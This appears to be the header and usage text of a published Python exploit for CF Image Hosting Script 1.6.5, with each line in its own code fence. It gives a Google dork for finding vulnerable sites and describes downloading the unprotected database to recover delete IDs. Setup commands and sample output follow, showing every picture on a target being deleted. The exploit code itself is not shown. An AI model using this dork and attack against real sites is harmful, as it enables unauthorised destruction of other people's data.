```
#!/usr/bin/env python
```

```
"""
```

```
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
```

```
Google Dork: "Powered By CF Image Hosting script"
```

```
Date: 01/08/2019
```

```
Exploit Author: David Tavaréz
```

```
Vendor Homepage: https://davidtavarez.github.io/
```

```
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
```

```
Version: 1.6.5
```

```
Tested on: Debian 9.6
```

By default, the database can be downloaded by any user. After decoding the file the database should be unserialized. The DELETE ID is stored in Plain Text, this ID can be used to delete a picture.

```
$ virtualenv cfexploit
```

```
$ source cfexploit/bin/activate
```

```
$ pip install phpserialize
```

```
$ pip install PySocks
```

```
$ python exploit.py http://127.0.0.1:8000
```

```
[-] Target: http://127.0.0.1:8000/
```

```
[-] Downloading the database...
```

```
[+] Decoding database...
```

```
[-] Finding pictures...
```

```
[+] Pictures found: 3
```

```
[+] Ready... let's do this! Deleting all pictures...
```

```
[+] Done.
```

```
